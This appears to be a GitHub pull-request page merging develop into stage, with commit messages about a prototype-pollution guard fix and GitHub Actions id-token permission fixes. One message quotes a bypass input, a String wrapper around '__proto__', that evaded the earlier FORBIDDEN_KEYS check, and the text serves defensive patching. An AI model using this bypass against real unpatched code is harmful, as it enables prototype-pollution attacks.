CodeRabbit caught an edge case in the assertSafePath guard from the
initial commit: FORBIDDEN_KEYS is a Set, and Set.has() uses identity
equality. A caller passing a String *wrapper object*
(e.g. new String('__proto__')) would fail the .has() check (different
identity from the primitive '__proto__') but still coerce to the
string '__proto__' when used as a bracket-access key — re-opening the
prototype-pollution path.

Verified locally:

  setState('__proto__.x', 1)            → throws (primitive blocked)
  setState([new String('__proto__'),
           'x'], 1)                    → BYPASS on previous commit;
                                         throws after this commit

Fix: String(rawPart) inside the loop normalizes wrappers, numbers,
and other coercible values to the same string form that property
access uses. Symbols would TypeError on String(); that's acceptable
behavior — Symbol keys never reach Object.prototype anyway, and the
TypeError surfaces the misuse synchronously.

Addresses CodeRabbit review feedback on PR #940.
…ases (#955)

PR #929 (per-job permissions scoping on nightly.yaml) missed
id-token: write on the docker job. _docker.yaml's docker job
declares:

  permissions:
    contents: read
    packages: write
    id-token: write   ← for cosign keyless Sigstore signing

GitHub validates at workflow-start that the caller's permissions
cover every permission the reusable job declares. The missing
id-token: write produced a workflow-level `startup_failure` on
every nightly run after #929 merged at 2026-05-20T21:45 — the
workflow couldn't even instantiate jobs (gh run view returns
`jobs: []`, log-not-found), and 13 consecutive runs against
develop have been failing the same way.

Mirror was modelled on release.yaml's docker job which ALSO omits
id-token: write — that's a latent bug in release.yaml too, but it
hasn't bitten because release.yaml's docker job is gated by
`if: server_tag_exists == 'false'` and only fires on fresh release
tags, so the misconfiguration only surfaces on a real release cut.
Should be fixed in a follow-up pass.

Comment in-file explains the constraint so the next person editing
this block doesn't drop it again.
Brings 24 develop commits into stage in preparation for tomorrow's VS Code
release. Highlights:

- security cleanup batch (#933, #934, #936, #937, #938, #939, #940)
- nightly workflow id-token fix (#955)
- shell injection fix in _build.yaml (#928)
- nightly per-job permission scoping (#929)
- vscode sidebar polish + env vars + autocomplete + startup fixes (#932)
- Helm chart for production deployment (#510)
- persistent cross-session memory node with Redis backend (#547)
- Cohere Rerank pipeline node (#898)
- Rsbuild upgrade + build config modernization (#905)
- engine management restructure with ioControl (#922)

Preserves 3 stage-unique commits (gdg-fixes #904, version bump,
prior develop→stage merge #907).

Follows pattern of #907.
@coderabbitai

coderabbitai Bot commented May 21, 2026

Copy link
Copy Markdown
Contributor

Important

Review skipped

Ignore keyword(s) in the title.

⛔ Ignored keywords (5)
  • [bot]
  • renovate
  • dependabot
  • release
  • chore(release)

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: ASSERTIVE

Plan: Pro

Run ID: 7141c5fe-2982-480a-b4c5-e8236a2e9061

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch chore/merge-develop-into-stage-20260521

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions

Copy link
Copy Markdown
Contributor

No description provided.

@github-actions github-actions Bot added docs Documentation ci/cd CI/CD and build system builder docker labels May 21, 2026
anandray and others added 2 commits May 21, 2026 18:43
…957)

Same latent bug as the one that broke nightly.yaml in PR #929 and was
hotfixed in #955: release.yaml's docker job omits id-token: write
even though the reusable _docker.yaml job declares it (required for
cosign keyless Sigstore signing).

Hasn't surfaced as a startup_failure because the docker job here is
gated by:

    if: needs.init.outputs.server_tag_exists == 'false'

So the docker job is only instantiated when a fresh release tag is
being created — meaning GitHub's start-time permission-coverage
validation only runs the docker job's check on a real release cut.
Every release.yaml dispatch where the tag already exists skips the
docker job entirely and the misconfiguration is invisible.

If left in place, the next fresh release (server-vX where the tag
doesn't yet exist) would fail with startup_failure the same way
nightly did. Fixing preemptively rather than waiting for the cut.

Comment in-file references the nightly outage so the next person
editing release.yaml has the breadcrumb.
@kwit75
kwit75 merged commit 14c26b6 into stage May 21, 2026
17 checks passed
@kwit75
kwit75 deleted the chore/merge-develop-into-stage-20260521 branch May 21, 2026 21:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

builder ci/cd CI/CD and build system docker docs Documentation

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants